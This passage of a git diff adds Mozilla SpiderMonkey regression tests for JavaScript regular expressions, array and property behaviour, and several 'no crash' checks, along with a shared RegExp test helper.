+var BUGNUMBER = 78156;
+var summary = 'Testing regular expressions with ^, $, and the m flag -';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+/*
+ * All patterns have an m flag; all strings are multiline.
+ * Looking for digit characters at beginning/end of lines.
+ */
+
+string = 'aaa\n789\r\nccc\r\n345';
+status = inSection(1);
+pattern = /^\d/gm;
+actualmatch = string.match(pattern);
+expectedmatch = ['7','3'];
+addThis();
+
+status = inSection(2);
+pattern = /\d$/gm;
+actualmatch = string.match(pattern);
+expectedmatch = ['9','5'];
+addThis();
+
+string = 'aaa\n789\r\nccc\r\nddd';
+status = inSection(3);
+pattern = /^\d/gm;
+actualmatch = string.match(pattern);
+expectedmatch = ['7'];
+addThis();
+
+status = inSection(4);
+pattern = /\d$/gm;
+actualmatch = string.match(pattern);
+expectedmatch = ['9'];
+addThis();
+
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/RegExp/regress-85721.js b/js/src/tests/ecma_3/RegExp/regress-85721.js
new file mode 100644
index 000000000..e04ae97f3
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/regress-85721.js
@@ -0,0 +1,243 @@
+// |reftest| random -- bogus perf test (bug 467263)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 14 Feb 2002
+ * SUMMARY: Performance: Regexp performance degraded from 4.7
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=85721
+ *
+ * Adjust this testcase if necessary. The FAST constant defines
+ * an upper bound in milliseconds for any execution to take.
+ *
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 85721;
+var summary = 'Performance: execution of regular expression';
+var FAST = 100; // execution should be 100 ms or less to pass the test
+var MSG_FAST = 'Execution took less than ' + FAST + ' ms';
+var MSG_SLOW = 'Execution took ';
+var MSG_MS = ' ms';
+var str = '';
+var re = '';
+var status = '';
+var actual = '';
+var expect= '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+function elapsedTime(startTime)
+{
+ return new Date() - startTime;
+}
+
+
+function isThisFast(ms)
+{
+ if (ms <= FAST)
+ return MSG_FAST;
+ return MSG_SLOW + ms + MSG_MS;
+}
+
+
+
+/*
+ * The first regexp. We'll test for performance (Section 1) and accuracy (Section 2).
+ */
+str='<sql:connection id="conn1"> <sql:url>www.m.com</sql:url> <sql:driver>drive.class</sql:driver>\n<sql:userId>foo</sql:userId> <sql:password>goo</sql:password> </sql:connection>';
+re = /<sql:connection id="([^\r\n]*?)">\s*<sql:url>\s*([^\r\n]*?)\s*<\/sql:url>\s*<sql:driver>\s*([^\r\n]*?)\s*<\/sql:driver>\s*(\s*<sql:userId>\s*([^\r\n]*?)\s*<\/sql:userId>\s*)?\s*(\s*<sql:password>\s*([^\r\n]*?)\s*<\/sql:password>\s*)?\s*<\/sql:connection>/;
+expect = Array("<sql:connection id=\"conn1\"> <sql:url>www.m.com</sql:url> <sql:driver>drive.class</sql:driver>\n<sql:userId>foo</sql:userId> <sql:password>goo</sql:password> </sql:connection>","conn1","www.m.com","drive.class","<sql:userId>foo</sql:userId> ","foo","<sql:password>goo</sql:password> ","goo");
+
+/*
+ * Check performance -
+ */
+status = inSection(1);
+var start = new Date();
+var result = re.exec(str);
+actual = elapsedTime(start);
+reportCompare(isThisFast(FAST), isThisFast(actual), status);
+
+/*
+ * Check accuracy -
+ */
+status = inSection(2);
+testRegExp([status], [re], [str], [result], [expect]);
+
+
+
+/*
+ * The second regexp (HUGE!). We'll test for performance (Section 3) and accuracy (Section 4).
+ * It comes from the O'Reilly book "Mastering Regular Expressions" by Jeffrey Friedl, Appendix B
+ */
+
+//# Some things for avoiding backslashitis later on.
+$esc = '\\\\';
+$Period = '\.';
+$space = '\040'; $tab = '\t';
+$OpenBR = '\\['; $CloseBR = '\\]';
+$OpenParen = '\\('; $CloseParen = '\\)';
+$NonASCII = '\x80-\xff'; $ctrl = '\000-\037';
+$CRlist = '\n\015'; //# note: this should really be only \015.
+// Items 19, 20, 21
+$qtext = '[^' + $esc + $NonASCII + $CRlist + '\"]'; // # for within "..."
+$dtext = '[^' + $esc + $NonASCII + $CRlist + $OpenBR + $CloseBR + ']'; // # for within [...]
+$quoted_pair = $esc + '[^' + $NonASCII + ']'; // # an escaped character
+
+//##############################################################################
+//# Items 22 and 23, comment.
+//# Impossible to do properly with a regex, I make do by allowing at most one level of nesting.
+$ctext = '[^' + $esc + $NonASCII + $CRlist + '()]';
+
+//# $Cnested matches one non-nested comment.
+//# It is unrolled, with normal of $ctext, special of $quoted_pair.
+$Cnested =
+ $OpenParen + // # (
+ $ctext + '*' + // # normal*
+ '(?:' + $quoted_pair + $ctext + '*)*' + // # (special normal*)*
+ $CloseParen; // # )
+
+
+//# $comment allows one level of nested parentheses
+//# It is unrolled, with normal of $ctext, special of ($quoted_pair|$Cnested)
+$comment =
+ $OpenParen + // # (
+ $ctext + '*' + // # normal*
+ '(?:' + // # (
+ '(?:' + $quoted_pair + '|' + $Cnested + ')' + // # special
+ $ctext + '*' + // # normal*
+ ')*' + // # )*
+ $CloseParen; // # )
+
+
+//##############################################################################
+//# $X is optional whitespace/comments.
+$X =
+ '[' + $space + $tab + ']*' + // # Nab whitespace.
+ '(?:' + $comment + '[' + $space + $tab + ']*)*'; // # If comment found, allow more spaces.
+
+
+//# Item 10: atom
+$atom_char = '[^(' + $space + '<>\@,;:\".' + $esc + $OpenBR + $CloseBR + $ctrl + $NonASCII + ']';
+$atom =
+ $atom_char + '+' + // # some number of atom characters...
+ '(?!' + $atom_char + ')'; // # ..not followed by something that could be part of an atom
+
+// # Item 11: doublequoted string, unrolled.
+$quoted_str =
+ '\"' + // # "
+ $qtext + '*' + // # normal
+ '(?:' + $quoted_pair + $qtext + '*)*' + // # ( special normal* )*
+ '\"'; // # "
+
+//# Item 7: word is an atom or quoted string
+$word =
+ '(?:' +
+ $atom + // # Atom
+ '|' + // # or
+ $quoted_str + // # Quoted string
+ ')'
+
+//# Item 12: domain-ref is just an atom
+ $domain_ref = $atom;
+
+//# Item 13: domain-literal is like a quoted string, but [...] instead of "..."
+$domain_lit =
+ $OpenBR + // # [
+ '(?:' + $dtext + '|' + $quoted_pair + ')*' + // # stuff
+ $CloseBR; // # ]
+
+// # Item 9: sub-domain is a domain-ref or domain-literal
+$sub_domain =
+ '(?:' +
+ $domain_ref +
+ '|' +
+ $domain_lit +
+ ')' +
+ $X; // # optional trailing comments
+
+// # Item 6: domain is a list of subdomains separated by dots.
+$domain =
+ $sub_domain +
+ '(?:' +
+ $Period + $X + $sub_domain +
+ ')*';
+
+//# Item 8: a route. A bunch of "@ $domain" separated by commas, followed by a colon.
+$route =
+ '\@' + $X + $domain +
+ '(?:,' + $X + '\@' + $X + $domain + ')*' + // # additional domains
+ ':' +
+ $X; // # optional trailing comments
+
+//# Item 6: local-part is a bunch of $word separated by periods
+$local_part =
+ $word + $X
+ '(?:' +
+ $Period + $X + $word + $X + // # additional words
+ ')*';
+
+// # Item 2: addr-spec is local@domain
+$addr_spec =
+ $local_part + '\@' + $X + $domain;
+
+//# Item 4: route-addr is <route? addr-spec>
+$route_addr =
+ '<' + $X + // # <
+ '(?:' + $route + ')?' + // # optional route
+ $addr_spec + // # address spec
+ '>'; // # >
+
+//# Item 3: phrase........
+$phrase_ctrl = '\000-\010\012-\037'; // # like ctrl, but without tab
+
+//# Like atom-char, but without listing space, and uses phrase_ctrl.
+//# Since the class is negated, this matches the same as atom-char plus space and tab
+$phrase_char =
+ '[^()<>\@,;:\".' + $esc + $OpenBR + $CloseBR + $NonASCII + $phrase_ctrl + ']';
+
+// # We've worked it so that $word, $comment, and $quoted_str to not consume trailing $X
+// # because we take care of it manually.
+$phrase =
+ $word + // # leading word
+ $phrase_char + '*' + // # "normal" atoms and/or spaces
+ '(?:' +
+ '(?:' + $comment + '|' + $quoted_str + ')' + // # "special" comment or quoted string
+ $phrase_char + '*' + // # more "normal"
+ ')*';
+
+// ## Item #1: mailbox is an addr_spec or a phrase/route_addr
+$mailbox =
+ $X + // # optional leading comment
+ '(?:' +
+ $phrase + $route_addr + // # name and address
+ '|' + // # or
+ $addr_spec + // # address
+ ')';
+
+
+//###########################################################################
+
+
+re = new RegExp($mailbox, "g");
+str = 'Jeffy<"That Tall Guy"@ora.com (this address is no longer active)>';
+expect = Array('Jeffy<"That Tall Guy"@ora.com (this address is no longer active)>');
+
+/*
+ * Check performance -
+ */
+status = inSection(3);
+var start = new Date();
+var result = re.exec(str);
+actual = elapsedTime(start);
+reportCompare(isThisFast(FAST), isThisFast(actual), status);
+
+/*
+ * Check accuracy -
+ */
+status = inSection(4);
+testRegExp([status], [re], [str], [result], [expect]);
diff --git a/js/src/tests/ecma_3/RegExp/regress-87231.js b/js/src/tests/ecma_3/RegExp/regress-87231.js
new file mode 100644
index 000000000..7f36519c1
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/regress-87231.js
@@ -0,0 +1,111 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 22 June 2001
+ *
+ * SUMMARY: Regression test for Bugzilla bug 87231:
+ * "Regular expression /(A)?(A.*)/ picks 'A' twice"
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=87231
+ * Key case:
+ *
+ * pattern = /^(A)?(A.*)$/;
+ * string = 'A';
+ * expectedmatch = Array('A', '', 'A');
+ *
+ *
+ * We expect the 1st subexpression (A)? NOT to consume the single 'A'.
+ * Recall that "?" means "match 0 or 1 times". Here, it should NOT do
+ * greedy matching: it should match 0 times instead of 1. This allows
+ * the 2nd subexpression to make the only match it can: the single 'A'.
+ * Such "altruism" is the only way there can be a successful global match...
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 87231;
+var cnEmptyString = '';
+var summary = 'Testing regular expression /(A)?(A.*)/';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+pattern = /^(A)?(A.*)$/;
+status = inSection(1);
+string = 'AAA';
+actualmatch = string.match(pattern);
+expectedmatch = Array('AAA', 'A', 'AA');
+addThis();
+
+status = inSection(2);
+string = 'AA';
+actualmatch = string.match(pattern);
+expectedmatch = Array('AA', 'A', 'A');
+addThis();
+
+status = inSection(3);
+string = 'A';
+actualmatch = string.match(pattern);
+expectedmatch = Array('A', undefined, 'A'); // 'altruistic' case: see above
+addThis();
+
+
+pattern = /(A)?(A.*)/;
+var strL = 'zxcasd;fl\\\ ^';
+var strR = 'aaAAaaaf;lrlrzs';
+
+status = inSection(4);
+string = strL + 'AAA' + strR;
+actualmatch = string.match(pattern);
+expectedmatch = Array('AAA' + strR, 'A', 'AA' + strR);
+addThis();
+
+status = inSection(5);
+string = strL + 'AA' + strR;
+actualmatch = string.match(pattern);
+expectedmatch = Array('AA' + strR, 'A', 'A' + strR);
+addThis();
+
+status = inSection(6);
+string = strL + 'A' + strR;
+actualmatch = string.match(pattern);
+expectedmatch = Array('A' + strR, undefined, 'A' + strR); // 'altruistic' case: see above
+addThis();
+
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/RegExp/regress-98306.js b/js/src/tests/ecma_3/RegExp/regress-98306.js
new file mode 100644
index 000000000..fbe315acd
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/regress-98306.js
@@ -0,0 +1,65 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 04 September 2001
+ *
+ * SUMMARY: Regression test for Bugzilla bug 98306
+ * "JS parser crashes in ParseAtom for script using Regexp()"
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=98306
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 98306;
+var summary = "Testing that we don't crash on this code -";
+var cnUBOUND = 10;
+var re;
+var s;
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ s = '"Hello".match(/[/]/)';
+ tryThis(s);
+
+ s = 're = /[/';
+ tryThis(s);
+
+ s = 're = /[/]/';
+ tryThis(s);
+
+ s = 're = /[//]/';
+ tryThis(s);
+
+ reportCompare('No Crash', 'No Crash', '');
+ exitFunc ('test');
+}
+
+
+// Try to provoke a crash -
+function tryThis(sCode)
+{
+ // sometimes more than one attempt is necessary -
+ for (var i=0; i<cnUBOUND; i++)
+ {
+ try
+ {
+ eval(sCode);
+ }
+ catch(e)
+ {
+ // do nothing; keep going -
+ }
+ }
+}
diff --git a/js/src/tests/ecma_3/RegExp/shell.js b/js/src/tests/ecma_3/RegExp/shell.js
new file mode 100644
index 000000000..857d06c3e
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/shell.js
@@ -0,0 +1,232 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 07 February 2001
+ *
+ * Functionality common to RegExp testing -
+ */
+//-----------------------------------------------------------------------------
+
+
+var MSG_PATTERN = '\nregexp = ';
+var MSG_STRING = '\nstring = ';
+var MSG_EXPECT = '\nExpect: ';
+var MSG_ACTUAL = '\nActual: ';
+var ERR_LENGTH = '\nERROR !!! match arrays have different lengths:';
+var ERR_MATCH = '\nERROR !!! regexp failed to give expected match array:';
+var ERR_NO_MATCH = '\nERROR !!! regexp FAILED to match anything !!!';
+var ERR_UNEXP_MATCH = '\nERROR !!! regexp MATCHED when we expected it to fail !!!';
+var CHAR_LBRACKET = '[';
+var CHAR_RBRACKET = ']';
+var CHAR_QT_DBL = '"';
+var CHAR_QT = "'";
+var CHAR_NL = '\n';
+var CHAR_COMMA = ',';
+var CHAR_SPACE = ' ';
+var TYPE_STRING = typeof 'abc';
+
+
+
+function testRegExp(statuses, patterns, strings, actualmatches, expectedmatches)
+{
+ var status = '';
+ var pattern = new RegExp();
+ var string = '';
+ var actualmatch = new Array();
+ var expectedmatch = new Array();
+ var state = '';
+ var lActual = -1;
+ var lExpect = -1;
+
+
+ for (var i=0; i != patterns.length; i++)
+ {
+ status = statuses[i];
+ pattern = patterns[i];
+ string = strings[i];
+ actualmatch=actualmatches[i];
+ expectedmatch=expectedmatches[i];
+ state = getState(status, pattern, string);
+
+ description = status;
+
+ if(actualmatch)
+ {
+ actual = formatArray(actualmatch);
+ if(expectedmatch)
+ {
+ // expectedmatch and actualmatch are arrays -
+ lExpect = expectedmatch.length;
+ lActual = actualmatch.length;
+
+ var expected = formatArray(expectedmatch);
+
+ if (lActual != lExpect)
+ {
+ reportCompare(lExpect, lActual,
+ state + ERR_LENGTH +
+ MSG_EXPECT + expected +
+ MSG_ACTUAL + actual +
+ CHAR_NL
+ );
+ continue;
+ }
+
+ // OK, the arrays have same length -
+ if (expected != actual)
+ {
+ reportCompare(expected, actual,
+ state + ERR_MATCH +
+ MSG_EXPECT + expected +
+ MSG_ACTUAL + actual +
+ CHAR_NL
+ );
+ }
+ else
+ {
+ reportCompare(expected, actual, state)
+ }
+
+ }
+ else //expectedmatch is null - that is, we did not expect a match -
+ {
+ expected = expectedmatch;
+ reportCompare(expected, actual,
+ state + ERR_UNEXP_MATCH +
+ MSG_EXPECT + expectedmatch +
+ MSG_ACTUAL + actual +
+ CHAR_NL
+ );
+ }
+
+ }
+ else // actualmatch is null
+ {
+ if (expectedmatch)
+ {
+ actual = actualmatch;
+ reportCompare(expected, actual,
+ state + ERR_NO_MATCH +
+ MSG_EXPECT + expectedmatch +
+ MSG_ACTUAL + actualmatch +
+ CHAR_NL
+ );
+ }
+ else // we did not expect a match
+ {
+ // Being ultra-cautious. Presumably expectedmatch===actualmatch===null
+ expected = expectedmatch;
+ actual = actualmatch;
+ reportCompare (expectedmatch, actualmatch, state);
+ }
+ }
+ }
+}
+
+
+function getState(status, pattern, string)
+{
+ /*
+ * Escape \n's, etc. to make them LITERAL in the presentation string.
+ * We don't have to worry about this in |pattern|; such escaping is
+ * done automatically by pattern.toString(), invoked implicitly below.
+ *
+ * One would like to simply do: string = string.replace(/(\s)/g, '\$1').
+ * However, the backreference $1 is not a literal string value,
+ * so this method doesn't work.
+ *
+ * Also tried string = string.replace(/(\s)/g, escape('$1'));
+ * but this just inserts the escape of the literal '$1', i.e. '%241'.
+ */
+ string = string.replace(/\n/g, '\\n');
+ string = string.replace(/\r/g, '\\r');
+ string = string.replace(/\t/g, '\\t');
+ string = string.replace(/\v/g, '\\v');
+ string = string.replace(/\f/g, '\\f');
+
+ return (status + MSG_PATTERN + pattern + MSG_STRING + singleQuote(string));
+}
+
+
+/*
+ * If available, arr.toSource() gives more detail than arr.toString()
+ *
+ * var arr = Array(1,2,'3');
+ *
+ * arr.toSource()
+ * [1, 2, "3"]
+ *
+ * arr.toString()
+ * 1,2,3
+ *
+ * But toSource() doesn't exist in Rhino, so use our own imitation, below -
+ *
+ */
+function formatArray(arr)
+{
+ try
+ {
+ return arr.toSource();
+ }
+ catch(e)
+ {
+ return toSource(arr);
+ }
+}
+
+
+/*
+ * Imitate SpiderMonkey's arr.toSource() method:
+ *
+ * a) Double-quote each array element that is of string type
+ * b) Represent |undefined| and |null| by empty strings
+ * c) Delimit elements by a comma + single space
+ * d) Do not add delimiter at the end UNLESS the last element is |undefined|
+ * e) Add square brackets to the beginning and end of the string
+ */
+function toSource(arr)
+{
+ var delim = CHAR_COMMA + CHAR_SPACE;
+ var elt = '';
+ var ret = '';
+ var len = arr.length;
+
+ for (i=0; i<len; i++)
+ {
+ elt = arr[i];
+
+ switch(true)
+ {
+ case (typeof elt === TYPE_STRING) :
+ ret += doubleQuote(elt);
+ break;
+
+ case (elt === undefined || elt === null) :
+ break; // add nothing but the delimiter, below -
+
+ default:
+ ret += elt.toString();
+ }
+
+ if ((i < len-1) || (elt === undefined))
+ ret += delim;
+ }
+
+ return CHAR_LBRACKET + ret + CHAR_RBRACKET;
+}
+
+
+function doubleQuote(text)
+{
+ return CHAR_QT_DBL + text + CHAR_QT_DBL;
+}
+
+
+function singleQuote(text)
+{
+ return CHAR_QT + text + CHAR_QT;
+}
+
diff --git a/js/src/tests/ecma_3/Regress/browser.js b/js/src/tests/ecma_3/Regress/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_3/Regress/browser.js
diff --git a/js/src/tests/ecma_3/Regress/regress-385393-04.js b/js/src/tests/ecma_3/Regress/regress-385393-04.js
new file mode 100644
index 000000000..bee6ec7e2
--- /dev/null
+++ b/js/src/tests/ecma_3/Regress/regress-385393-04.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 385393;
+var summary = 'Regression test for bug 385393';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ 'a'.replace(/a/g, eval);
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Regress/regress-419152.js b/js/src/tests/ecma_3/Regress/regress-419152.js
new file mode 100644
index 000000000..b8823d027
--- /dev/null
+++ b/js/src/tests/ecma_3/Regress/regress-419152.js
@@ -0,0 +1,57 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 419152;
+var summary = 'Shaver can not contain himself';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var a = [1,2,3];
+
+ a[5] = 6;
+ expect = '1,2,3,,,6:6';
+ actual = a + ':' + a.length;
+ reportCompare(expect, actual, summary + ': 1');
+
+ a = [1,2,3,4];
+ expect = 'undefined';
+ actual = a[-1] + '';
+ reportCompare(expect, actual, summary + ': 2');
+
+ a = [1,2,3];
+ a[-1] = 55;
+
+ expect = 3;
+ actual = a.length;
+ reportCompare(expect, actual, summary + ': 3');
+
+ expect = '1,2,3';
+ actual = a + '';
+ reportCompare(expect, actual, summary + ': 4');
+
+ expect = 55;
+ actual = a[-1];
+ reportCompare(expect, actual, summary + ': 5');
+
+ var s = "abcdef";
+
+ expect = 'undefined';
+ actual = s[-2] + '';
+ reportCompare(expect, actual, summary + ': 6');
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Regress/regress-420087.js b/js/src/tests/ecma_3/Regress/regress-420087.js
new file mode 100644
index 000000000..c4730a9e0
--- /dev/null
+++ b/js/src/tests/ecma_3/Regress/regress-420087.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 420087;
+var summary = 'Do not assert: PCVCAP_MAKE(sprop->shape, 0, 0) == entry->vcap';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var dict;
+
+ for (var i = 0; i < 2; i++)
+ dict = {p: 1, q: 1, p:1};
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Regress/regress-420610.js b/js/src/tests/ecma_3/Regress/regress-420610.js
new file mode 100644
index 000000000..a74d21655
--- /dev/null
+++ b/js/src/tests/ecma_3/Regress/regress-420610.js
@@ -0,0 +1,17 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 420610;
+var summary = 'Do not crash with eval("this.x")';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+(function(){ eval("this.x") })();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/ecma_3/Regress/regress-441477-01.js b/js/src/tests/ecma_3/Regress/regress-441477-01.js
new file mode 100644
index 000000000..101abdbda
--- /dev/null
+++ b/js/src/tests/ecma_3/Regress/regress-441477-01.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 441477-01;
+var summary = '';
+var actual = 'No Exception';
+var expect = 'No Exception';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ for (i = 0; i < 5;)
+ {
+ if (i > 5)
+ throw "bad";
+ i++;
+ continue;
+ }
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Regress/regress-469937.js b/js/src/tests/ecma_3/Regress/regress-469937.js
new file mode 100644
index 000000000..753735c15
--- /dev/null
+++ b/js/src/tests/ecma_3/Regress/regress-469937.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 469937;
+var summary = 'Properties without DontEnum are sometimes not enumerated';
+var actual = false;
+var expect = true;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+(function(){
+ var o = { }
+ o.PageLeft = 1;
+ o.Rect2 = 6;
+ delete o.Rect2;
+ for (var p in o);
+ o.Rect3 = 7;
+ found = false;
+ for (var p in o) if (p == 'Rect3') found = true;
+ actual = found;
+})();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/ecma_3/Regress/regress-580544.js b/js/src/tests/ecma_3/Regress/regress-580544.js
new file mode 100644
index 000000000..4e0ca92f8
--- /dev/null
+++ b/js/src/tests/ecma_3/Regress/regress-580544.js
@@ -0,0 +1,30 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'regress-580544.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 580544;
+var summary = 'Do not assert: new (this.prototype = this)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try {
+ new (this.prototype = this);
+ } catch (e) {
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Regress/shell.js b/js/src/tests/ecma_3/Regress/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_3/Regress/shell.js
diff --git a/js/src/tests/ecma_3/Statements/12.10-01.js b/js/src/tests/ecma_3/Statements/12.10-01.js
new file mode 100644
index 000000000..031aac4ef
--- /dev/null
+++ b/js/src/tests/ecma_3/Statements/12.10-01.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 462734;
+var summary = 'evaluating lhs "Reference" *before* evaluating rhs';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var x = 1;
+ var o = {};
+ with (o)
+ x = o.x = 2;
+ print(x);
+
+ expect = 4;
+ actual = x + o.x;
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Statements/12.6.3.js b/js/src/tests/ecma_3/Statements/12.6.3.js
new file mode 100644
index 000000000..a5092d750
--- /dev/null
+++ b/js/src/tests/ecma_3/Statements/12.6.3.js
@@ -0,0 +1,47 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 292731;
+var summary = 'for-in should not call valueOf method';
+var actual = '';
+var expect = '';
+var i;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
